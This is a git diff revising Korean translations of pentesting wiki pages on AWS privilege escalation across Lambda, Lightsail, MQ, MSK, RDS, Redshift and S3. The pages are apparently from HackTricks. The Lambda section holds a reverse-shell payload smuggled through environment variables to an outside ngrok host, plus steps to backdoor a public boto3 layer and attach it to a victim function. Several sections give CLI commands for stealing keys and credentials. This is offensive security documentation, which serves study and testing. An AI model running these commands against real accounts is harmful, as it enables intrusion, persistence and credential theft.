+DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 **Lambda 함수에 대한 이벤트 소스 매핑을 설정해야 합니다**. 그러나 DynamoDB가 사용되지 않는 경우, 사용자는 **스트리밍이 활성화된 새 테이블을 생성해야 합니다**:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -113,7 +113,7 @@ aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn  \
 --enabled --starting-position LATEST
 ```
-DynamoDB 스트림에 연결된 Lambda 함수로 인해 공격자는 **DynamoDB 스트림을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 **DynamoDB 테이블에 항목을 삽입함으로써** 수행할 수 있습니다:
+DynamoDB 스트림에 연결된 Lambda 함수를 사용하면 공격자가 **DynamoDB 스트림을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 **DynamoDB 테이블에 항목을 삽입함으로써** 수행할 수 있습니다:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name  --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name  /tmp/outout
 ```
-**잠재적 영향:** 코드를 수정하고 실행할 수 있는 권한을 부여하여 lambda 서비스 역할로 직접 권한 상승을 할 수 있습니다.
+**잠재적 영향:** 코드를 수정하고 실행할 수 있는 권한을 부여하여 lambda 서비스 역할에 직접적인 권한 상승을 초래합니다.
 
 ### `lambda:AddLayerVersionPermission`
 
@@ -146,7 +146,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 **`lambda:UpdateFunctionCode`** 권한을 가진 사용자는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있는 잠재력을 가지고 있습니다.**\
 공격자는 **IAM 자격 증명을 유출하기 위해 lambda의 코드를 수정할 수 있습니다.**
 
-공격자가 함수를 직접 호출할 수 있는 능력이 없더라도, Lambda 함수가 이미 존재하고 운영 중이라면, 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드의 실행을 간접적으로 촉진할 수 있습니다.
+공격자가 함수를 직접 호출할 수 있는 능력이 없더라도, Lambda 함수가 이미 존재하고 작동 중이라면, 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드의 실행을 간접적으로 촉진할 수 있습니다.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -161,9 +161,9 @@ aws lambda invoke --function-name my_function output.txt
 
 ### `lambda:UpdateFunctionConfiguration`
 
-#### env 변수를 통한 RCE
+#### env 변수를 통한 원격 코드 실행
 
-이 권한으로 환경 변수를 추가하여 Lambda가 임의의 코드를 실행하도록 할 수 있습니다. 예를 들어, 파이썬에서는 환경 변수 `PYTHONWARNING` 및 `BROWSER`를 악용하여 파이썬 프로세스가 임의의 명령을 실행하도록 할 수 있습니다:
+이 권한을 사용하면 Lambda가 임의의 코드를 실행하도록 환경 변수를 추가할 수 있습니다. 예를 들어, 파이썬에서는 환경 변수 `PYTHONWARNING`과 `BROWSER`를 악용하여 파이썬 프로세스가 임의의 명령을 실행하도록 할 수 있습니다:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name  --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
@@ -175,7 +175,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
 
 #### Lambda Layers를 통한 RCE
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)는 **코드**를 람다 함수에 포함할 수 있도록 하지만 **별도로 저장**하여 함수 코드를 작게 유지하고 **여러 함수가 코드를 공유**할 수 있게 합니다.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)는 **코드**를 람다 함수에 포함할 수 있게 해주지만 **별도로 저장**하므로 함수 코드는 작게 유지할 수 있고 **여러 함수가 코드를 공유**할 수 있습니다.
 
 람다 내부에서 다음과 같은 함수를 사용하여 파이썬 코드가 로드되는 경로를 확인할 수 있습니다:
 ```python
@@ -202,26 +202,26 @@ print(json.dumps(sys.path, indent=2))
 
 #### Exploitation
 
-`lambda:UpdateFunctionConfiguration` 권한을 남용하여 **새 레이어를 추가**하는 것이 가능합니다. 임의의 코드를 실행하려면 이 레이어에 **람다가 가져올 라이브러리**가 포함되어야 합니다. 람다의 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있으며, 람다가 **이미 레이어를 사용하고 있을 가능성**도 있다는 점에 유의하세요. 이 경우 레이어를 **다운로드**하고 **코드를 추가**할 수 있습니다.
+`lambda:UpdateFunctionConfiguration` 권한을 악용하여 **새 레이어를 추가**하는 것이 가능합니다. 임의의 코드를 실행하려면 이 레이어에 **람다가 가져올 라이브러리**가 포함되어야 합니다. 람다의 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있으며, 람다가 **이미 레이어를 사용하고 있을 가능성**도 있다는 점에 유의해야 하며, 레이어를 **다운로드**하고 그 안에 **코드를 추가**할 수 있습니다.
 
-예를 들어, 람다가 라이브러리 boto3를 사용하고 있다고 가정해 보겠습니다. 그러면 라이브러리의 최신 버전으로 로컬 레이어가 생성됩니다:
+예를 들어, 람다가 라이브러리 boto3를 사용하고 있다고 가정해 보겠습니다. 이는 라이브러리의 최신 버전으로 로컬 레이어를 생성합니다:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-You can open `./lambda_layer/boto3/__init__.py` and **전역 코드에 백도어 추가** (예: 자격 증명을 유출하거나 리버스 셸을 얻는 함수).
+`./lambda_layer/boto3/__init__.py`를 열고 **전역 코드에 백도어를 추가**할 수 있습니다 (예: 자격 증명을 유출하거나 리버스 셸을 얻는 함수).
 
-Then, zip that `./lambda_layer` directory and **새로운 람다 레이어 업로드** in your own account (or in the victims one, but you might not have permissions for this).\
-Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **람다에서 사용되는 파이썬 버전과 호환되어야 하며**, if you upload it to your account, it needs to be in the **같은 지역:**
+그런 다음, `./lambda_layer` 디렉토리를 압축하고 **새로운 람다 레이어를 업로드**하세요 (자신의 계정에 또는 피해자의 계정에, 하지만 이 경우 권한이 없을 수 있습니다).\
+파이썬 폴더를 생성하고 라이브러리를 그곳에 넣어 /opt/python/boto3를 덮어써야 합니다. 또한, 레이어는 람다에서 사용되는 **파이썬 버전과 호환되어야** 하며, 계정에 업로드할 경우 **같은 지역**에 있어야 합니다:
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-이제 업로드된 람다 레이어를 **모든 계정에서 접근 가능하게** 만드세요:
+이제 업로드된 lambda 레이어를 **모든 계정에서 접근 가능하게** 만드세요:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-그리고 피해자의 람다 함수에 람다 레이어를 연결합니다:
+희생자 lambda 함수에 lambda 레이어를 연결합니다:
 ```bash
 aws lambda update-function-configuration \
 --function-name  \
@@ -240,11 +240,11 @@ aws lambda update-function-configuration \
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
-이 권한으로 함수를 생성하고 URL을 호출하여 실행할 수 있을지도 모릅니다... 하지만 이를 테스트할 방법을 찾지 못했으니, 찾으면 알려주세요!
+이 권한으로 함수를 생성하고 URL을 호출하여 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했으니, 찾으면 알려주세요!
 
 ### Lambda MitM
 
-일부 람다는 **사용자로부터 매개변수로 민감한 정보를 수신할 것입니다.** 그 중 하나에서 RCE를 얻으면, 다른 사용자가 보내는 정보를 유출할 수 있습니다. 자세한 내용은 다음을 확인하세요:
+일부 lambda는 **사용자로부터 매개변수로 민감한 정보를 수신할 것입니다.** 그 중 하나에서 RCE를 얻으면, 다른 사용자가 보내는 정보를 유출할 수 있습니다. 확인해보세요:
 
 {{#ref}}
 ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index a1795f89d..1bc368591 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -15,7 +15,7 @@ Lightsail에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `lightsail:DownloadDefaultKeyPair`
 
-이 권한은 인스턴스에 접근하기 위한 SSH 키를 얻을 수 있게 해줍니다:
+이 권한은 인스턴스에 접근하기 위한 SSH 키를 가져올 수 있게 해줍니다:
 ```
 aws lightsail download-default-key-pair
 ```
@@ -39,11 +39,11 @@ aws lightsail create-bucket-access-key --bucket-name 
 
 ### `lightsail:GetRelationalDatabaseMasterUserPassword`
 
-이 권한은 데이터베이스에 접근할 수 있는 자격 증명을 얻을 수 있게 해줍니다:
+이 권한은 데이터베이스에 접근하기 위한 자격 증명을 얻을 수 있게 해줍니다:
 ```bash
 aws lightsail get-relational-database-master-user-password --relational-database-name 
 ```
-**잠재적 영향:** 데이터베이스 내의 민감한 정보를 찾습니다.
+**잠재적 영향:** 데이터베이스 내의 민감한 정보 찾기.
 
 ### `lightsail:UpdateRelationalDatabase`
 
@@ -51,15 +51,15 @@ aws lightsail get-relational-database-master-user-password --relational-database
 ```bash
 aws lightsail update-relational-database --relational-database-name  --master-user-password 
 ```
-만약 데이터베이스가 공개되지 않았다면, 이 권한으로 공개할 수도 있습니다.
+데이터베이스가 공개되지 않은 경우, 이 권한으로 공개할 수도 있습니다.
 ```bash
 aws lightsail update-relational-database --relational-database-name  --publicly-accessible
 ```
-**잠재적 영향:** 데이터베이스 내에서 민감한 정보를 찾습니다.
+**잠재적 영향:** 데이터베이스 내의 민감한 정보 찾기.
 
 ### `lightsail:OpenInstancePublicPorts`
 
-이 권한은 인터넷에 포트를 열 수 있도록 허용합니다.
+이 권한은 인터넷에 포트를 열 수 있게 허용합니다.
 ```bash
 aws lightsail open-instance-public-ports \
 --instance-name MEAN-2 \
@@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \
 
 ### `lightsail:UpdateBucket`
 
-이 권한을 통해 공격자는 자신의 AWS 계정에 버킷에 대한 읽기 접근을 부여하거나 심지어 버킷을 모든 사용자에게 공개할 수 있습니다:
+이 권한을 통해 공격자는 자신의 AWS 계정에 버킷에 대한 읽기 접근을 부여하거나 심지어 모든 사용자에게 버킷을 공개할 수 있습니다:
 ```bash
 # Grant read access to exterenal account
 aws update-bucket --bucket-name  --readonly-access-accounts 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
index bc1cbd8b6..461267560 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -14,7 +14,7 @@ aws mediapackage rotate-channel-credentials --id 
 ```bash
 aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
 ```
-## References
+## 참고 문헌
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 1dd99289a..271d91978 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -12,12 +12,12 @@ MQ에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `mq:ListBrokers`, `mq:CreateUser`
 
-이 권한을 사용하면 **ActiveMQ 브로커에 새 사용자를 생성할 수 있습니다** (이것은 RabbitMQ에서는 작동하지 않습니다):
+이 권한으로 **ActiveMQ 브로커에 새 사용자를 생성할 수 있습니다** (이것은 RabbitMQ에서는 작동하지 않습니다):
 ```bash
 aws mq list-brokers
 aws mq create-user --broker-id  --console-access --password  --username 
 ```
-**잠재적 영향:** ActiveMQ를 통해 민감한 정보에 접근
+**잠재적 영향:** ActiveMQ를 탐색하여 민감한 정보에 접근
 
 ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
 
@@ -27,7 +27,7 @@ aws mq list-brokers
 aws mq list-users --broker-id 
 aws mq update-user --broker-id  --console-access --password  --username 
 ```
-**잠재적 영향:** ActiveMQ를 통해 민감한 정보 접근
+**잠재적 영향:** ActiveMQ를 탐색하여 민감한 정보에 접근
 
 ### `mq:ListBrokers`, `mq:UpdateBroker`
 
@@ -36,8 +36,8 @@ aws mq update-user --broker-id  --console-access --password  --use
 aws mq list-brokers
 aws mq update-broker --broker-id  --ldap-server-metadata=...
 ```
-ActiveMQ에서 사용된 원래 자격 증명을 찾을 수 있다면 MitM을 수행하고, 자격 증명을 훔쳐 원래 서버에서 사용한 다음 응답을 보낼 수 있습니다(아마도 훔친 자격 증명을 재사용하여 이를 수행할 수 있습니다).
+ActiveMQ에서 사용된 원래 자격 증명을 찾을 수 있다면 MitM을 수행하고, 자격 증명을 훔쳐 원래 서버에서 사용한 다음 응답을 전송할 수 있습니다(아마도 훔친 자격 증명을 재사용하여 이를 수행할 수 있습니다).
 
-**Potential Impact:** ActiveMQ 자격 증명 훔치기
+**잠재적 영향:** ActiveMQ 자격 증명 훔치기
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index 7428a2aa8..738ea35ed 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -12,11 +12,11 @@ MSK (Kafka)에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `msk:ListClusters`, `msk:UpdateSecurity`
 
-이 **권한**과 **카프카 브로커가 있는 VPC에 대한 접근**이 있으면, 그들에 접근하기 위해 **None 인증**을 추가할 수 있습니다.
+이 **권한**과 **카프카 브로커가 있는 VPC에 대한 접근 권한**이 있으면, 그에 대한 **인증 없음**을 추가하여 접근할 수 있습니다.
 ```bash
 aws msk --client-authentication  --cluster-arn  --current-version 
 ```
-VPC에 접근해야 합니다. 왜냐하면 **Kafka가 공개적으로 노출된 경우 None 인증을 활성화할 수 없기 때문입니다**. 공개적으로 노출된 경우, **SASL/SCRAM** 인증이 사용되면 **비밀을 읽을 수 있습니다** (비밀을 읽으려면 추가 권한이 필요합니다).\
+VPC에 접근해야 합니다. 왜냐하면 **Kafka를 공개적으로 노출할 때 None 인증을 활성화할 수 없기 때문입니다**. 공개적으로 노출된 경우, **SASL/SCRAM** 인증이 사용된다면 **비밀을 읽을 수 있습니다** (비밀을 읽으려면 추가 권한이 필요합니다).\
 **IAM 역할 기반 인증**이 사용되고 **Kafka가 공개적으로 노출된 경우**에도 이러한 권한을 남용하여 접근 권한을 부여받을 수 있습니다.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
index 9bf475799..9210a06e5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
@@ -13,6 +13,6 @@
 ## 관리 계정에서 자식 계정으로
 
 루트/관리 계정을 손상시키면 모든 자식 계정을 손상시킬 가능성이 높습니다.\
-[**이 페이지를 확인하여 방법을 배우세요**](../#compromising-the-organization).
+[**이 페이지를 확인하여 배우세요**](../#compromising-the-organization).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index 41bc323c5..4eb653f33 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -27,9 +27,9 @@ aws rds modify-db-instance \
 psql postgresql://:@:5432/
 ```
 > [!WARNING]
-> 데이터베이스에 **연결할 수 있어야 합니다** (일반적으로 내부 네트워크에서만 접근 가능합니다).
+> 데이터베이스에 **연락할 수 있어야 합니다** (일반적으로 내부 네트워크에서만 접근 가능합니다).
 
-**잠재적 영향:** 데이터베이스 내에서 민감한 정보를 찾습니다.
+**잠재적 영향:** 데이터베이스 내의 민감한 정보를 찾습니다.
 
 ### rds-db:connect
 
@@ -46,11 +46,11 @@ psql postgresql://:@:5432/
 ```sql
 SELECT * FROM pg_extension;
 ```
-만약 **`aws_s3`**와 같은 것을 찾으면 이 데이터베이스가 **S3에 대한 어떤 종류의 접근 권한**을 가지고 있다고 가정할 수 있습니다 (다른 확장자도 있습니다, 예: **`aws_ml`** 및 **`aws_lambda`**).
+**`aws_s3`**와 같은 것을 발견하면 이 데이터베이스가 **S3에 대한 어떤 접근 권한이 있다고 가정할 수 있습니다** (다른 확장자도 있습니다, 예: **`aws_ml`** 및 **`aws_lambda`**).
 
-또한, **`aws rds describe-db-clusters`**를 실행할 수 있는 권한이 있다면 **`AssociatedRoles`** 필드에서 **클러스터에 연결된 IAM 역할**이 있는지 확인할 수 있습니다. 만약 있다면, 데이터베이스가 **다른 AWS 서비스에 접근할 수 있도록 준비되었다고** 가정할 수 있습니다. **역할의 이름**(또는 역할의 **권한**을 얻을 수 있다면)을 기반으로 데이터베이스가 어떤 추가 접근 권한을 가지고 있는지 **추측**할 수 있습니다.
+또한, **`aws rds describe-db-clusters`**를 실행할 수 있는 권한이 있다면 **`AssociatedRoles`** 필드에서 **클러스터에 연결된 IAM 역할이 있는지** 확인할 수 있습니다. 만약 있다면, 데이터베이스가 **다른 AWS 서비스에 접근할 수 있도록 준비되었다고 가정할 수 있습니다**. **역할의 이름**(또는 역할의 **권한**을 얻을 수 있다면)을 기반으로 데이터베이스가 어떤 추가 접근 권한을 가지고 있는지 **추측**할 수 있습니다.
 
-이제 **버킷 안의 파일을 읽으려면** 전체 경로를 알아야 합니다. 다음과 같이 읽을 수 있습니다:
+이제 **버킷 내의 파일을 읽으려면** 전체 경로를 알아야 합니다. 다음과 같이 읽을 수 있습니다:
 ```sql
 // Create table
 CREATE TABLE ttemp (col TEXT);
@@ -71,7 +71,7 @@ SELECT * from ttemp;
 // Delete table
 DROP TABLE ttemp;
 ```
-만약 **원시 AWS 자격 증명**이 있다면, 다음과 같이 S3 데이터에 접근할 수 있습니다:
+**원시 AWS 자격 증명**이 있는 경우 다음을 사용하여 S3 데이터에 액세스할 수 있습니다:
 ```sql
 SELECT aws_s3.table_import_from_s3(
 't', '', '(format csv)',
@@ -80,12 +80,12 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 );
 ```
 > [!NOTE]
-> Postgresql **은 S3에 접근하기 위해 어떤 파라미터 그룹 변수를 변경할 필요가 없습니다.**
+> Postgresql **매개변수 그룹 변수를 변경할 필요가 없습니다** S3에 접근할 수 있습니다.
 
 #### Mysql (Aurora)
 
 > [!TIP]
-> mysql 내부에서 **`SELECT User, Host FROM mysql.user;`** 쿼리를 실행했을 때 **`rdsadmin`**이라는 사용자가 있다면, **AWS RDS mysql db** 내부에 있다고 가정할 수 있습니다.
+> mysql 내부에서 **`SELECT User, Host FROM mysql.user;`** 쿼리를 실행하고 **`rdsadmin`**이라는 사용자가 있다면, **AWS RDS mysql db** 내부에 있다고 가정할 수 있습니다.
 
 mysql에서 **`show variables;`**를 실행하고 **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**와 같은 변수가 값이 있다면, 데이터베이스가 S3 데이터에 접근할 준비가 되어 있다고 가정할 수 있습니다.
 
@@ -100,12 +100,12 @@ DROP TABLE ttemp;
 ```
 ### `rds:AddRoleToDBCluster`, `iam:PassRole`
 
-`rds:AddRoleToDBCluster` 및 `iam:PassRole` 권한을 가진 공격자는 **지정된 역할을 기존 RDS 인스턴스에 추가할 수 있습니다**. 이는 공격자가 **민감한 데이터에 접근**하거나 인스턴스 내의 데이터를 수정할 수 있게 할 수 있습니다.
+`rds:AddRoleToDBCluster` 및 `iam:PassRole` 권한을 가진 공격자는 **기존 RDS 인스턴스에 지정된 역할을 추가**할 수 있습니다. 이는 공격자가 **민감한 데이터에 접근**하거나 인스턴스 내의 데이터를 수정할 수 있게 할 수 있습니다.
 ```bash
 aws add-role-to-db-cluster --db-cluster-identifier  --role-arn 
 ```
 **잠재적 영향**: RDS 인스턴스의 민감한 데이터에 대한 접근 또는 데이터에 대한 무단 수정.\
-일부 DB는 추가 구성이 필요하다는 점에 유의하십시오. 예를 들어 Mysql은 파라미터 그룹에 역할 ARN을 지정해야 합니다.
+일부 DB는 추가 구성이 필요하다는 점에 유의하십시오. 예를 들어 Mysql은 파라미터 그룹에서 역할 ARN을 지정해야 합니다.
 
 ### `rds:CreateDBInstance`
 
@@ -127,7 +127,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 `rds:CreateDBInstance` 및 `iam:PassRole` 권한을 가진 공격자는 **지정된 역할이 연결된 새로운 RDS 인스턴스를 생성할 수 있습니다**. 공격자는 이후 **민감한 데이터에 접근하거나** 인스턴스 내의 데이터를 수정할 수 있습니다.
 
 > [!WARNING]
-> 연결할 역할/인스턴스 프로필의 일부 요구 사항 (자세한 내용은 [**여기**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) 참조):
+> 연결할 역할/인스턴스 프로필의 일부 요구 사항 ( [**여기**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)에서):
 
 > - 프로필은 귀하의 계정에 존재해야 합니다.
 > - 프로필은 Amazon EC2가 가정할 수 있는 IAM 역할을 가져야 합니다.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index ca78e514a..927b64045 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -12,30 +12,30 @@ RDS에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
 
-이 권한을 사용하면 **모든 클러스터의 정보**(이름 및 클러스터 사용자 이름 포함)를 얻고 **접근할 수 있는 자격 증명**을 얻을 수 있습니다:
+이 권한을 사용하면 **모든 클러스터의 정보**(이름 및 클러스터 사용자 이름 포함)를 얻고 **접속할 수 있는 자격 증명**을 얻을 수 있습니다:
 ```bash
 # Get creds
 aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439
 ```
-**잠재적 영향:** 데이터베이스 내에서 민감한 정보를 찾습니다.
+**잠재적 영향:** 데이터베이스 내의 민감한 정보 찾기.
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
 
 이 권한을 사용하면 **모든 클러스터의 정보**를 얻고 **액세스할 수 있는 자격 증명**을 얻을 수 있습니다.\
-postgres 사용자는 자격 증명을 얻는 데 사용된 **IAM 아이덴티티의 권한**을 갖게 됩니다.
+postgres 사용자는 자격 증명을 얻는 데 사용된 **IAM ID의 권한**을 갖게 됩니다.
 ```bash
 # Get creds
 aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
 ```
-**잠재적 영향:** 데이터베이스 내에서 민감한 정보를 찾습니다.
+**잠재적 영향:** 데이터베이스 내에서 민감한 정보 찾기.
 
 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
 
-aws cli를 통해 내부 postgres (redshift) 사용자의 **마스터 비밀번호를 수정**할 수 있습니다 (필요한 권한이라고 생각하지만 아직 테스트하지는 않았습니다):
+aws cli를 통해 내부 postgres (redshit) 사용자의 **마스터 비밀번호를 수정**할 수 있습니다 (필요한 권한이 이 것들이라고 생각하지만 아직 테스트해보지 않았습니다):
 ```
 aws redshift modify-cluster –cluster-identifier  –master-user-password ‘master-password’;
 ```
@@ -44,9 +44,9 @@ aws redshift modify-cluster –cluster-identifier  
 ## 외부 서비스 접근
 
 > [!WARNING]
-> 다음 모든 리소스에 접근하려면 **사용할 역할을 지정해야** 합니다. Redshift 클러스터는 **사용할 수 있는 AWS 역할 목록이 할당될 수** 있으며, **ARN을 알고 있다면** 사용할 수 있습니다. 또는 기본으로 할당된 역할을 사용하기 위해 "**default**"로 설정할 수 있습니다.
+> 다음 리소스에 접근하려면 **사용할 역할을 지정해야** 합니다. Redshift 클러스터는 **사용할 수 있는 AWS 역할 목록을 할당받을 수** 있으며, **ARN을 알고 있다면** 사용할 수 있습니다. 또는 기본적으로 할당된 역할을 사용하기 위해 "**default**"로 설정할 수 있습니다.
 
-> 또한, [**여기에서 설명된 바와 같이**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift는 추가 접근을 위해 역할을 연결할 수 있습니다(첫 번째 역할이 두 번째 역할을 수용할 수 있는 한) 단, **쉼표**로 **구분**해야 합니다: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> 또한, [**여기에서 설명된 대로**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift는 추가 접근을 위해 역할을 **콤마**로 **구분하여** 연결할 수 있습니다(첫 번째 역할이 두 번째 역할을 수용할 수 있는 경우): `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
 ### 람다
 
@@ -86,7 +86,7 @@ iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 
 ### EMR
 
-[https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) 확인
+Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 7834db8e2..c36b78cde 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -6,9 +6,9 @@
 
 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
 
-흥미로운 버킷에 대해 이러한 권한을 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다.
+흥미로운 버킷에 대한 이러한 권한을 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다.
 
-예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"이라는 클라우드포메이션 버킷에 대해 이러한 **권한을 가진 공격자는 배포를 탈취할 수 있습니다**. 접근은 다음 정책으로 부여될 수 있습니다:
+예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"라는 **cloudformation 버킷에 대한 이러한 권한을 가진 공격자**는 배포를 탈취할 수 있습니다. 접근은 다음 정책으로 부여될 수 있습니다:
 ```json
 {
 "Version": "2012-10-17",
@@ -34,7 +34,7 @@
 ]
 }
 ```
-그리고 하이재킹은 **템플릿이 버킷에 업로드되는 순간부터** **템플릿이 배포되는 순간까지의 작은 시간 창** 때문에 가능합니다. 공격자는 자신의 계정에 **람다 함수**를 생성하여 **버킷 알림이 전송될 때 트리거**되도록 하고, **버킷**의 **내용**을 **하이재킹**할 수 있습니다.
+그리고 하이재킹은 **템플릿이 버킷에 업로드되는 순간부터** **템플릿이 배포되는 순간까지의 작은 시간 창** 때문에 가능합니다. 공격자는 자신의 계정에 **lambda function**을 생성하여 **버킷 알림이 전송될 때 트리거**되도록 하고, **버킷**의 **내용**을 **하이재킹**할 수 있습니다.
 
 ![](<../../../images/image (174).png>)
 
@@ -52,7 +52,7 @@ Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu
 
 ### `s3:PutBucketPolicy`
 
